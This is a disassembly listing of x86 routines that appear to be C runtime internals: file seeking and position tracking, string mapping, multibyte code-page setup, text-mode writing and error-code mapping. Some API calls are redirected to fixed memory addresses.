cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E55B
mov dword_48A014, 9
jmp short loc_41E5AA
; ---------------------------------------------------------------------------
loc_41E55B: ; CODE XREF: sub_41E517+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
nop
call near ptr 26B0000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41E57B
call near ptr 2630313h
nop
jmp short loc_41E57D
; ---------------------------------------------------------------------------
loc_41E57B: ; CODE XREF: sub_41E517+5Aj
xor eax, eax
loc_41E57D: ; CODE XREF: sub_41E517+62j
test eax, eax
jz short loc_41E58A
push eax
call sub_41EF44
pop ecx
jmp short loc_41E5AA
; ---------------------------------------------------------------------------
loc_41E58A: ; CODE XREF: sub_41E517+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_41E5AD
; ---------------------------------------------------------------------------
loc_41E599: ; CODE XREF: sub_41E517+Dj
; sub_41E517+2Aj
and dword_48A018, 0
mov dword_48A014, 9
loc_41E5AA: ; CODE XREF: sub_41E517+42j
; sub_41E517+71j
or eax, 0FFFFFFFFh
loc_41E5AD: ; CODE XREF: sub_41E517+80j
pop edi
pop esi
pop ebx
retn
sub_41E517 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E5B1 proc near ; CODE XREF: sub_418D0E+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_41E5CD
mov [edi+4], ebx
loc_41E5CD: ; CODE XREF: sub_41E5B1+17j
push 1
push ebx
push esi
call sub_41E517
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_41E63B
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_41E5F2
sub eax, [edi+4]
jmp loc_41E704
; ---------------------------------------------------------------------------
loc_41E5F2: ; CODE XREF: sub_41E5B1+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_41E62C
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_48B340[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_41E643
mov edx, ecx
loc_41E61D: ; CODE XREF: sub_41E5B1+79j
cmp edx, eax
jnb short loc_41E643
cmp byte ptr [edx], 0Ah
jnz short loc_41E629
inc [ebp+var_8]
loc_41E629: ; CODE XREF: sub_41E5B1+73j
inc edx
jmp short loc_41E61D
; ---------------------------------------------------------------------------
loc_41E62C: ; CODE XREF: sub_41E5B1+50j
test dl, 80h
jnz short loc_41E643
mov dword_48A014, 16h
loc_41E63B: ; CODE XREF: sub_41E5B1+2Dj
or eax, 0FFFFFFFFh
jmp loc_41E704
; ---------------------------------------------------------------------------
loc_41E643: ; CODE XREF: sub_41E5B1+68j
; sub_41E5B1+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_41E651
mov eax, [ebp+var_8]
jmp loc_41E704
; ---------------------------------------------------------------------------
loc_41E651: ; CODE XREF: sub_41E5B1+96j
test byte ptr [edi+0Ch], 1
jz loc_41E6FC
mov edx, [edi+4]
test edx, edx
jnz short loc_41E66A
and [ebp+var_8], edx
jmp loc_41E6FC
; ---------------------------------------------------------------------------
loc_41E66A: ; CODE XREF: sub_41E5B1+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:48B340h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_41E6F6
push 2
push 0
push [ebp+var_C]
call sub_41E517
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_41E6BD
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_41E6A8: ; CODE XREF: sub_41E5B1+104j
cmp eax, ecx
jnb short loc_41E6B7
cmp byte ptr [eax], 0Ah
jnz short loc_41E6B4
inc [ebp+arg_0]
loc_41E6B4: ; CODE XREF: sub_41E5B1+FEj
inc eax
jmp short loc_41E6A8
; ---------------------------------------------------------------------------
loc_41E6B7: ; CODE XREF: sub_41E5B1+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_41E6F1
; ---------------------------------------------------------------------------
loc_41E6BD: ; CODE XREF: sub_41E5B1+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_41E517
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_41E6E4
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_41E6E4
test ch, 4
jz short loc_41E6E7
loc_41E6E4: ; CODE XREF: sub_41E5B1+124j
; sub_41E5B1+12Cj
mov eax, [edi+18h]
loc_41E6E7: ; CODE XREF: sub_41E5B1+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_41E6F1: ; CODE XREF: sub_41E5B1+10Aj
jz short loc_41E6F6
inc [ebp+arg_0]
loc_41E6F6: ; CODE XREF: sub_41E5B1+D9j
; sub_41E5B1:loc_41E6F1j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_41E6FC: ; CODE XREF: sub_41E5B1+A4j
; sub_41E5B1+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_41E704: ; CODE XREF: sub_41E5B1+3Cj
; sub_41E5B1+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41E5B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E709 proc near ; CODE XREF: sub_419063+47p
; sub_419063+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4248E0
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_48A0C0, edi
jnz short loc_41E77F
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_4248D8
mov esi, 100h
push esi
push edi
nop
call near ptr 2860000h
test eax, eax
jz short loc_41E75D
mov dword_48A0C0, ebx
jmp short loc_41E77F
; ---------------------------------------------------------------------------
loc_41E75D: ; CODE XREF: sub_41E709+4Aj
push edi
push edi
push ebx
push offset dword_43C824
push esi
push edi
call near ptr 2850000h
nop
test eax, eax
jz loc_41E897
mov dword_48A0C0, 2
loc_41E77F: ; CODE XREF: sub_41E709+2Ej
; sub_41E709+52j
cmp [ebp+arg_C], edi
jle short loc_41E794
push [ebp+arg_C]
push [ebp+arg_8]
call sub_422467
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_41E794: ; CODE XREF: sub_41E709+79j
mov eax, dword_48A0C0
cmp eax, 2
jnz short loc_41E7BB
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2850000h
jmp loc_41E899
; ---------------------------------------------------------------------------
loc_41E7BB: ; CODE XREF: sub_41E709+93j
cmp eax, 1
jnz loc_41E897
cmp [ebp+arg_18], edi
jnz short loc_41E7D1
mov eax, dword_48A0B8
mov [ebp+arg_18], eax
loc_41E7D1: ; CODE XREF: sub_41E709+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
nop
call near ptr 2610000h
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_41E897
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41E82C
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_41E82C: ; CODE XREF: sub_41E709+10Ej
cmp [ebp+var_24], edi
jz short loc_41E897
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
nop
call near ptr 2610000h
test eax, eax
jz short loc_41E897
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2860000h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_41E897
test byte ptr [ebp+arg_4+1], 4
jz short loc_41E8AB
cmp [ebp+arg_14], edi
jz loc_41E926
cmp esi, [ebp+arg_14]
jg short loc_41E897
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2860000h
test eax, eax
jnz loc_41E926
loc_41E897: ; CODE XREF: sub_41E709+66j
; sub_41E709+B5j ...
xor eax, eax
loc_41E899: ; CODE XREF: sub_41E709+ADj
; sub_41E709+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41E8AB: ; CODE XREF: sub_41E709+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41E8DF
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_41E8DF: ; CODE XREF: sub_41E709+1C2j
cmp ebx, edi
jz short loc_41E897
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2860000h
test eax, eax
jz short loc_41E897
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_41E906
push edi
push edi
jmp short loc_41E90C
; ---------------------------------------------------------------------------
loc_41E906: ; CODE XREF: sub_41E709+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_41E90C: ; CODE XREF: sub_41E709+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
nop
call near ptr 2790000h
mov esi, eax
cmp esi, edi
jz loc_41E897
loc_41E926: ; CODE XREF: sub_41E709+165j
; sub_41E709+188j
mov eax, esi
jmp loc_41E899
sub_41E709 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E92D proc near ; CODE XREF: sub_41ECF1+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41EAC6
mov esi, eax
pop ecx
cmp esi, dword_48B444
mov [ebp+arg_0], esi
jz loc_41EABA
xor ebx, ebx
cmp esi, ebx
jz loc_41EAB0
xor edx, edx
mov eax, offset dword_43B940
loc_41E961: ; CODE XREF: sub_41E92D+41j
cmp [eax], esi
jz short loc_41E9D7
add eax, 30h
inc edx
cmp eax, offset dword_43BA30
jl short loc_41E961
lea eax, [ebp+var_18]
push eax
push esi
call near ptr 2861185h
nop
cmp eax, 1
jnz loc_41EAA8
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_48B560
cmp [ebp+var_18], 1
mov dword_48B444, esi
rep stosd
stosb
mov dword_48B664, ebx
jbe loc_41EA96
cmp [ebp+var_12], 0
jz loc_41EA6C
lea ecx, [ebp+var_11]
loc_41E9B4: ; CODE XREF: sub_41E92D+139j
mov dl, [ecx]
test dl, dl
jz loc_41EA6C
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41E9C5: ; CODE XREF: sub_41E92D+A8j
cmp eax, edx
ja loc_41EA60
or byte_48B561[eax], 4
inc eax
jmp short loc_41E9C5
; ---------------------------------------------------------------------------
loc_41E9D7: ; CODE XREF: sub_41E92D+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_48B560
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43B950[esi]
loc_41E9F3: ; CODE XREF: sub_41E92D+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41EA26
loc_41E9FA: ; CODE XREF: sub_41E92D+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41EA26
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41EA1F
mov edx, [ebp+var_4]
mov dl, byte_43B938[edx]
loc_41EA14: ; CODE XREF: sub_41E92D+F0j
or byte_48B561[eax], dl
inc eax
cmp eax, edi
jbe short loc_41EA14
loc_41EA1F: ; CODE XREF: sub_41E92D+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41E9FA
loc_41EA26: ; CODE XREF: sub_41E92D+CBj
; sub_41E92D+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41E9F3
mov eax, [ebp+arg_0]
mov dword_48B45C, 1
push eax
mov dword_48B444, eax
call sub_41EB10
lea esi, dword_43B944[esi]
mov edi, offset dword_48B450
movsd
movsd
pop ecx
mov dword_48B664, eax
movsd
jmp short loc_41EAB5
; ---------------------------------------------------------------------------
loc_41EA60: ; CODE XREF: sub_41E92D+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41E9B4
loc_41EA6C: ; CODE XREF: sub_41E92D+7Ej
; sub_41E92D+8Bj
push 1
pop eax
loc_41EA6F: ; CODE XREF: sub_41E92D+14Fj
or byte_48B561[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41EA6F
push esi
call sub_41EB10
pop ecx
mov dword_48B664, eax
mov dword_48B45C, 1
jmp short loc_41EA9C
; ---------------------------------------------------------------------------
loc_41EA96: ; CODE XREF: sub_41E92D+74j
mov dword_48B45C, ebx
loc_41EA9C: ; CODE XREF: sub_41E92D+167j
xor eax, eax
mov edi, offset dword_48B450
stosd
stosd
stosd
jmp short loc_41EAB5
; ---------------------------------------------------------------------------
loc_41EAA8: ; CODE XREF: sub_41E92D+51j
cmp dword_48A0C4, ebx
jz short loc_41EABE
loc_41EAB0: ; CODE XREF: sub_41E92D+27j
call sub_41EB43
loc_41EAB5: ; CODE XREF: sub_41E92D+131j
; sub_41E92D+179j
call sub_41EB6C
loc_41EABA: ; CODE XREF: sub_41E92D+1Dj
xor eax, eax
jmp short loc_41EAC1
; ---------------------------------------------------------------------------
loc_41EABE: ; CODE XREF: sub_41E92D+181j
or eax, 0FFFFFFFFh
loc_41EAC1: ; CODE XREF: sub_41E92D+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41E92D endp
; =============== S U B R O U T I N E =======================================
sub_41EAC6 proc near ; CODE XREF: sub_41E92D+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_48A0C4, 0
cmp eax, 0FFFFFFFEh
jnz short loc_41EAE6
mov dword_48A0C4, 1
nop
jmp near ptr 25E02D3h
; ---------------------------------------------------------------------------
loc_41EAE6: ; CODE XREF: sub_41EAC6+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_41EAFB
mov dword_48A0C4, 1
nop
jmp near ptr 28618EEh
; ---------------------------------------------------------------------------
loc_41EAFB: ; CODE XREF: sub_41EAC6+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41EB0F
mov eax, dword_48A0B8
mov dword_48A0C4, 1
locret_41EB0F: ; CODE XREF: sub_41EAC6+38j
retn
sub_41EAC6 endp
; =============== S U B R O U T I N E =======================================
sub_41EB10 proc near ; CODE XREF: sub_41E92D+118p
; sub_41E92D+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41EB3D
sub eax, 4
jz short loc_41EB37
sub eax, 0Dh
jz short loc_41EB31
dec eax
jz short loc_41EB2B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41EB2B: ; CODE XREF: sub_41EB10+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41EB31: ; CODE XREF: sub_41EB10+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41EB37: ; CODE XREF: sub_41EB10+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41EB3D: ; CODE XREF: sub_41EB10+9j
mov eax, 411h
retn
sub_41EB10 endp
; =============== S U B R O U T I N E =======================================
sub_41EB43 proc near ; CODE XREF: sub_41E92D:loc_41EAB0p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_48B560
rep stosd
stosb
xor eax, eax
mov edi, offset dword_48B450
mov dword_48B444, eax
mov dword_48B45C, eax
mov dword_48B664, eax
stosd
stosd
stosd
pop edi
retn
sub_41EB43 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB6C proc near ; CODE XREF: sub_41E92D:loc_41EAB5p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_48B444
nop
call near ptr 2861185h
cmp eax, 1
jnz loc_41ECA5
xor eax, eax
mov esi, 100h
loc_41EB96: ; CODE XREF: sub_41EB6C+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_41EB96
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_41EBE7
push ebx
push edi
lea edx, [ebp+var_D]
loc_41EBB5: ; CODE XREF: sub_41EB6C+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_41EBDC
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_41EBDC: ; CODE XREF: sub_41EB6C+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41EBB5
pop edi
pop ebx
loc_41EBE7: ; CODE XREF: sub_41EB6C+42j
push 0
lea eax, [ebp+var_514]
push dword_48B664
push dword_48B444
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_41FB63
push 0
lea eax, [ebp+var_214]
push dword_48B444
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_48B664
call sub_41E709
push 0
lea eax, [ebp+var_314]
push dword_48B444
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_48B664
call sub_41E709
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_41EC62: ; CODE XREF: sub_41EB6C+135j
mov dx, [ecx]
test dl, 1
jz short loc_41EC80
or byte_48B561[eax], 10h
mov dl, [ebp+eax+var_214]
loc_41EC78: ; CODE XREF: sub_41EB6C+127j
mov byte_48B460[eax], dl
jmp short loc_41EC9C
; ---------------------------------------------------------------------------
loc_41EC80: ; CODE XREF: sub_41EB6C+FCj
test dl, 2
jz short loc_41EC95
or byte_48B561[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_41EC78
; ---------------------------------------------------------------------------
loc_41EC95: ; CODE XREF: sub_41EB6C+117j
and byte_48B460[eax], 0
loc_41EC9C: ; CODE XREF: sub_41EB6C+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_41EC62
jmp short loc_41ECEE
; ---------------------------------------------------------------------------
loc_41ECA5: ; CODE XREF: sub_41EB6C+1Dj
xor eax, eax
mov esi, 100h
loc_41ECAC: ; CODE XREF: sub_41EB6C+180j
cmp eax, 41h
jb short loc_41ECCA
cmp eax, 5Ah
ja short loc_41ECCA
or byte_48B561[eax], 10h
mov cl, al
add cl, 20h
loc_41ECC2: ; CODE XREF: sub_41EB6C+174j
mov byte_48B460[eax], cl
jmp short loc_41ECE9
; ---------------------------------------------------------------------------
loc_41ECCA: ; CODE XREF: sub_41EB6C+143j
; sub_41EB6C+148j
cmp eax, 61h
jb short loc_41ECE2
cmp eax, 7Ah
ja short loc_41ECE2
or byte_48B561[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_41ECC2
; ---------------------------------------------------------------------------
loc_41ECE2: ; CODE XREF: sub_41EB6C+161j
; sub_41EB6C+166j
and byte_48B460[eax], 0
loc_41ECE9: ; CODE XREF: sub_41EB6C+15Cj
inc eax
cmp eax, esi
jb short loc_41ECAC
loc_41ECEE: ; CODE XREF: sub_41EB6C+137j
pop esi
leave
retn
sub_41EB6C endp
; =============== S U B R O U T I N E =======================================
sub_41ECF1 proc near ; CODE XREF: ___:0041F138p
; ___:0041F194p ...
cmp dword_48B694, 0
jnz short locret_41ED0C
push 0FFFFFFFDh
call sub_41E92D
pop ecx
mov dword_48B694, 1
locret_41ED0C: ; CODE XREF: sub_41ECF1+7j
retn
sub_41ECF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED0D proc near ; CODE XREF: sub_4192B8+2Bp
; sub_4192B8+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_48B45C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_41ED31
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_418C10
add esp, 0Ch
jmp short loc_41ED94
; ---------------------------------------------------------------------------
loc_41ED31: ; CODE XREF: sub_41ED0D+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_41ED76
mov ecx, [ebp+arg_4]
loc_41ED3C: ; CODE XREF: sub_41ED0D+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_48B561[esi], 4
mov [edi], al
jz short loc_41ED60
inc edi
inc ecx
test edx, edx
jz short loc_41ED6C
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_41ED72
jmp short loc_41ED66
; ---------------------------------------------------------------------------
loc_41ED60: ; CODE XREF: sub_41ED0D+3Ej
inc edi
inc ecx
test al, al
jz short loc_41ED76
loc_41ED66: ; CODE XREF: sub_41ED0D+51j
test edx, edx
jnz short loc_41ED3C
jmp short loc_41ED76
; ---------------------------------------------------------------------------
loc_41ED6C: ; CODE XREF: sub_41ED0D+44j
and byte ptr [edi-1], 0
jmp short loc_41ED76
; ---------------------------------------------------------------------------
loc_41ED72: ; CODE XREF: sub_41ED0D+4Fj
and byte ptr [edi-2], 0
loc_41ED76: ; CODE XREF: sub_41ED0D+2Aj
; sub_41ED0D+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_41ED91
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_41ED91: ; CODE XREF: sub_41ED0D+6Fj
mov eax, [ebp+arg_0]
loc_41ED94: ; CODE XREF: sub_41ED0D+22j
pop edi
pop ebp
retn
sub_41ED0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED97 proc near ; CODE XREF: sub_4196EF+A2p
; sub_419D23+95p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_48B440
push esi
push edi
jnb loc_41EF2B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:48B340h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_41EF2B
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_41EDE8
loc_41EDE1: ; CODE XREF: sub_41ED97+177j
xor eax, eax
jmp loc_41EF3F
; ---------------------------------------------------------------------------
loc_41EDE8: ; CODE XREF: sub_41ED97+48j
test al, 20h
jz short loc_41EDF8
push 2
push edi
push ecx
call sub_41E517
add esp, 0Ch
loc_41EDF8: ; CODE XREF: sub_41ED97+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_41EEC7
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_41EEFF
loc_41EE18: ; CODE XREF: sub_41ED97+F5j
lea eax, [ebp+var_414]
loc_41EE1E: ; CODE XREF: sub_41ED97+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41EE52
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_41EE3D
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_41EE3D: ; CODE XREF: sub_41ED97+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_41EE1E
loc_41EE52: ; CODE XREF: sub_41ED97+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 2620000h
nop
test eax, eax
jz short loc_41EEBC
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_41EE8E
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41EE18
loc_41EE8E: ; CODE XREF: sub_41ED97+EAj
; sub_41ED97+12Ej
xor edi, edi
loc_41EE90: ; CODE XREF: sub_41ED97+150j
; sub_41ED97+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41EF26
cmp [ebp+arg_0], edi
jz short loc_41EEFF
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_41EEF4
mov dword_48A014, 9
mov dword_48A018, eax
jmp loc_41EF3C
; ---------------------------------------------------------------------------
loc_41EEBC: ; CODE XREF: sub_41ED97+E0j
nop
call near ptr 2630313h
mov [ebp+arg_0], eax
jmp short loc_41EE8E
; ---------------------------------------------------------------------------
loc_41EEC7: ; CODE XREF: sub_41ED97+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
nop
call near ptr 2620000h
test eax, eax
jz short loc_41EEE9
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_41EE90
; ---------------------------------------------------------------------------
loc_41EEE9: ; CODE XREF: sub_41ED97+145j
call near ptr 2630313h
nop
mov [ebp+arg_0], eax
jmp short loc_41EE90
; ---------------------------------------------------------------------------
loc_41EEF4: ; CODE XREF: sub_41ED97+10Fj
push [ebp+arg_0]
call sub_41EF44
pop ecx
jmp short loc_41EF3C
; ---------------------------------------------------------------------------
loc_41EEFF: ; CODE XREF: sub_41ED97+7Bj
; sub_41ED97+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_41EF14
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_41EDE1
loc_41EF14: ; CODE XREF: sub_41ED97+16Fj
mov dword_48A014, 1Ch
mov dword_48A018, edi
jmp short loc_41EF3C
; ---------------------------------------------------------------------------
loc_41EF26: ; CODE XREF: sub_41ED97+FEj
sub eax, [ebp+var_10]
jmp short loc_41EF3F
; ---------------------------------------------------------------------------
loc_41EF2B: ; CODE XREF: sub_41ED97+15j
; sub_41ED97+37j
and dword_48A018, 0
mov dword_48A014, 9
loc_41EF3C: ; CODE XREF: sub_41ED97+120j
; sub_41ED97+166j ...
or eax, 0FFFFFFFFh
loc_41EF3F: ; CODE XREF: sub_41ED97+4Cj
; sub_41ED97+192j
pop edi
pop esi
pop ebx
leave
retn
sub_41ED97 endp
; =============== S U B R O U T I N E =======================================
sub_41EF44 proc near ; CODE XREF: sub_4197F9+16p
; sub_419BBA+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_48A018, ecx
mov eax, offset dword_43BA30
loc_41EF55: ; CODE XREF: sub_41EF44+1Ej
cmp ecx, [eax]
jz short loc_41EF79
add eax, 8
inc edx
cmp eax, offset dword_43BB98
jl short loc_41EF55
cmp ecx, 13h
jb short loc_41EF86
cmp ecx, 24h
ja short loc_41EF86
mov dword_48A014, 0Dh
retn
; ---------------------------------------------------------------------------
loc_41EF79: ; CODE XREF: sub_41EF44+13j
mov eax, dword_43BA34[edx*8]
mov dword_48A014, eax
retn
; ---------------------------------------------------------------------------
loc_41EF86: ; CODE XREF: sub_41EF44+23j
; sub_41EF44+28j
